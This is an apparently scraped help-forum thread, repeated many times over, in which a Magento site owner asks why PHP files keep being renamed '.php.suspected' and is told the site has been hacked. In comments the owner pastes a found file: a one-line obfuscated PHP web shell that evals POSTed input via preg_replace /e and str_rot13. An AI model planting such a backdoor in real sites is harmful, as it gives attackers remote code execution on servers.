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I am facing new problem within 2 days. My Many PHP file are showing extension as suspected. However, i renamed all as earlier , it again came as php.suspected within 8 hrs. Kindly Suggest me the solution.




  • Earlier ; model.php

  • Now ; model.php.suspected
    And same for many other files










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    Ransomeware getting ready to encrypt or a infection scanner marking suspect files to prevent use?

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  • We just Want to it know , whether it is harmful for website ??

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  • yes. your site has been hacked.... Please scan the systsem

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I am facing new problem within 2 days. My Many PHP file are showing extension as suspected. However, i renamed all as earlier , it again came as php.suspected within 8 hrs. Kindly Suggest me the solution.




  • Earlier ; model.php

  • Now ; model.php.suspected
    And same for many other files










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    Ransomeware getting ready to encrypt or a infection scanner marking suspect files to prevent use?

    – Fiasco Labs
    Apr 20 '16 at 4:36











  • We just Want to it know , whether it is harmful for website ??

    – kunal
    Apr 20 '16 at 4:51











  • yes. your site has been hacked.... Please scan the systsem

    – Amit Bera
    Apr 20 '16 at 6:11














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I am facing new problem within 2 days. My Many PHP file are showing extension as suspected. However, i renamed all as earlier , it again came as php.suspected within 8 hrs. Kindly Suggest me the solution.




  • Earlier ; model.php

  • Now ; model.php.suspected
    And same for many other files










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I am facing new problem within 2 days. My Many PHP file are showing extension as suspected. However, i renamed all as earlier , it again came as php.suspected within 8 hrs. Kindly Suggest me the solution.




  • Earlier ; model.php

  • Now ; model.php.suspected
    And same for many other files







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  • 2





    Ransomeware getting ready to encrypt or a infection scanner marking suspect files to prevent use?

    – Fiasco Labs
    Apr 20 '16 at 4:36











  • We just Want to it know , whether it is harmful for website ??

    – kunal
    Apr 20 '16 at 4:51











  • yes. your site has been hacked.... Please scan the systsem

    – Amit Bera
    Apr 20 '16 at 6:11














  • 2





    Ransomeware getting ready to encrypt or a infection scanner marking suspect files to prevent use?

    – Fiasco Labs
    Apr 20 '16 at 4:36











  • We just Want to it know , whether it is harmful for website ??

    – kunal
    Apr 20 '16 at 4:51











  • yes. your site has been hacked.... Please scan the systsem

    – Amit Bera
    Apr 20 '16 at 6:11








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Ransomeware getting ready to encrypt or a infection scanner marking suspect files to prevent use?

– Fiasco Labs
Apr 20 '16 at 4:36





Ransomeware getting ready to encrypt or a infection scanner marking suspect files to prevent use?

– Fiasco Labs
Apr 20 '16 at 4:36













We just Want to it know , whether it is harmful for website ??

– kunal
Apr 20 '16 at 4:51





We just Want to it know , whether it is harmful for website ??

– kunal
Apr 20 '16 at 4:51













yes. your site has been hacked.... Please scan the systsem

– Amit Bera
Apr 20 '16 at 6:11





yes. your site has been hacked.... Please scan the systsem

– Amit Bera
Apr 20 '16 at 6:11










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Unfortunately, your website and potentially your server have been hacked.



Even if it's not Magento related, you can use the following resources to help you fixing your problem:




  • https://stackoverflow.com/questions/32835796/php-file-automatically-renamed-to-php-suspected

  • https://community.magento.com/t5/Technical-Issues/File-Name-auto-renamed-suspected/td-p/17382

  • https://wordpress.org/support/topic/link-templatephpsuspected

  • https://stackoverflow.com/questions/31725357/php-file-changes-its-extention-to-suspeced


On top of that, you need to ensure you've applied all the security patches to your Magento store (you can use magereport.com to check the missing patches on your store)






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  • I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked. Buy there is 1 file where found conns.php.supscted - <?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> Buy fact is that modified file name is not current. it is showing older date.

    – kunal
    Apr 20 '16 at 18:48






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    Magereport only checks for known magento vulnerabilities. Also any external tool that you use is only going to be able to check for problems from an external perspective. It can't see the contents of a php file for example. Unfortunately in your case it does sound like you have been hacked

    – Andrew Kett
    Apr 20 '16 at 21:57













  • This is conns.php.suspcted file ---- <?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> ............... Can u see any doubtfull

    – kunal
    Apr 21 '16 at 12:18





















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I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked.
Buy there is 1 file where found
conns.php.supscted -
Buy fact is that modified file name is not current. it is showing older date.






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    Unfortunately, your website and potentially your server have been hacked.



    Even if it's not Magento related, you can use the following resources to help you fixing your problem:




    • https://stackoverflow.com/questions/32835796/php-file-automatically-renamed-to-php-suspected

    • https://community.magento.com/t5/Technical-Issues/File-Name-auto-renamed-suspected/td-p/17382

    • https://wordpress.org/support/topic/link-templatephpsuspected

    • https://stackoverflow.com/questions/31725357/php-file-changes-its-extention-to-suspeced


    On top of that, you need to ensure you've applied all the security patches to your Magento store (you can use magereport.com to check the missing patches on your store)






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    • I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked. Buy there is 1 file where found conns.php.supscted - <?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> Buy fact is that modified file name is not current. it is showing older date.

      – kunal
      Apr 20 '16 at 18:48






    • 1





      Magereport only checks for known magento vulnerabilities. Also any external tool that you use is only going to be able to check for problems from an external perspective. It can't see the contents of a php file for example. Unfortunately in your case it does sound like you have been hacked

      – Andrew Kett
      Apr 20 '16 at 21:57













    • This is conns.php.suspcted file ---- <?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> ............... Can u see any doubtfull

      – kunal
      Apr 21 '16 at 12:18


















    0














    Unfortunately, your website and potentially your server have been hacked.



    Even if it's not Magento related, you can use the following resources to help you fixing your problem:




    • https://stackoverflow.com/questions/32835796/php-file-automatically-renamed-to-php-suspected

    • https://community.magento.com/t5/Technical-Issues/File-Name-auto-renamed-suspected/td-p/17382

    • https://wordpress.org/support/topic/link-templatephpsuspected

    • https://stackoverflow.com/questions/31725357/php-file-changes-its-extention-to-suspeced


    On top of that, you need to ensure you've applied all the security patches to your Magento store (you can use magereport.com to check the missing patches on your store)






    share|improve this answer


























    • I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked. Buy there is 1 file where found conns.php.supscted - <?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> Buy fact is that modified file name is not current. it is showing older date.

      – kunal
      Apr 20 '16 at 18:48






    • 1





      Magereport only checks for known magento vulnerabilities. Also any external tool that you use is only going to be able to check for problems from an external perspective. It can't see the contents of a php file for example. Unfortunately in your case it does sound like you have been hacked

      – Andrew Kett
      Apr 20 '16 at 21:57













    • This is conns.php.suspcted file ---- <?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> ............... Can u see any doubtfull

      – kunal
      Apr 21 '16 at 12:18
















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    Unfortunately, your website and potentially your server have been hacked.



    Even if it's not Magento related, you can use the following resources to help you fixing your problem:




    • https://stackoverflow.com/questions/32835796/php-file-automatically-renamed-to-php-suspected

    • https://community.magento.com/t5/Technical-Issues/File-Name-auto-renamed-suspected/td-p/17382

    • https://wordpress.org/support/topic/link-templatephpsuspected

    • https://stackoverflow.com/questions/31725357/php-file-changes-its-extention-to-suspeced


    On top of that, you need to ensure you've applied all the security patches to your Magento store (you can use magereport.com to check the missing patches on your store)






    share|improve this answer















    Unfortunately, your website and potentially your server have been hacked.



    Even if it's not Magento related, you can use the following resources to help you fixing your problem:




    • https://stackoverflow.com/questions/32835796/php-file-automatically-renamed-to-php-suspected

    • https://community.magento.com/t5/Technical-Issues/File-Name-auto-renamed-suspected/td-p/17382

    • https://wordpress.org/support/topic/link-templatephpsuspected

    • https://stackoverflow.com/questions/31725357/php-file-changes-its-extention-to-suspeced


    On top of that, you need to ensure you've applied all the security patches to your Magento store (you can use magereport.com to check the missing patches on your store)







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    • I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked. Buy there is 1 file where found conns.php.supscted - <?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> Buy fact is that modified file name is not current. it is showing older date.

      – kunal
      Apr 20 '16 at 18:48






    • 1





      Magereport only checks for known magento vulnerabilities. Also any external tool that you use is only going to be able to check for problems from an external perspective. It can't see the contents of a php file for example. Unfortunately in your case it does sound like you have been hacked

      – Andrew Kett
      Apr 20 '16 at 21:57













    • This is conns.php.suspcted file ---- <?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> ............... Can u see any doubtfull

      – kunal
      Apr 21 '16 at 12:18





















    • I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked. Buy there is 1 file where found conns.php.supscted - <?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> Buy fact is that modified file name is not current. it is showing older date.

      – kunal
      Apr 20 '16 at 18:48






    • 1





      Magereport only checks for known magento vulnerabilities. Also any external tool that you use is only going to be able to check for problems from an external perspective. It can't see the contents of a php file for example. Unfortunately in your case it does sound like you have been hacked

      – Andrew Kett
      Apr 20 '16 at 21:57













    • This is conns.php.suspcted file ---- <?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> ............... Can u see any doubtfull

      – kunal
      Apr 21 '16 at 12:18



















    I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked. Buy there is 1 file where found conns.php.supscted - <?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> Buy fact is that modified file name is not current. it is showing older date.

    – kunal
    Apr 20 '16 at 18:48





    I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked. Buy there is 1 file where found conns.php.supscted - <?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> Buy fact is that modified file name is not current. it is showing older date.

    – kunal
    Apr 20 '16 at 18:48




    1




    1





    Magereport only checks for known magento vulnerabilities. Also any external tool that you use is only going to be able to check for problems from an external perspective. It can't see the contents of a php file for example. Unfortunately in your case it does sound like you have been hacked

    – Andrew Kett
    Apr 20 '16 at 21:57







    Magereport only checks for known magento vulnerabilities. Also any external tool that you use is only going to be able to check for problems from an external perspective. It can't see the contents of a php file for example. Unfortunately in your case it does sound like you have been hacked

    – Andrew Kett
    Apr 20 '16 at 21:57















    This is conns.php.suspcted file ---- <?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> ............... Can u see any doubtfull

    – kunal
    Apr 21 '16 at 12:18







    This is conns.php.suspcted file ---- <?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?> ............... Can u see any doubtfull

    – kunal
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    I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked.
    Buy there is 1 file where found
    conns.php.supscted -
    Buy fact is that modified file name is not current. it is showing older date.






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      I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked.
      Buy there is 1 file where found
      conns.php.supscted -
      Buy fact is that modified file name is not current. it is showing older date.






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        I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked.
        Buy there is 1 file where found
        conns.php.supscted -
        Buy fact is that modified file name is not current. it is showing older date.






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        I scan my website on magereport as well on google. Even i check google webmaster there is no sign of hacked.
        Buy there is 1 file where found
        conns.php.supscted -
        Buy fact is that modified file name is not current. it is showing older date.







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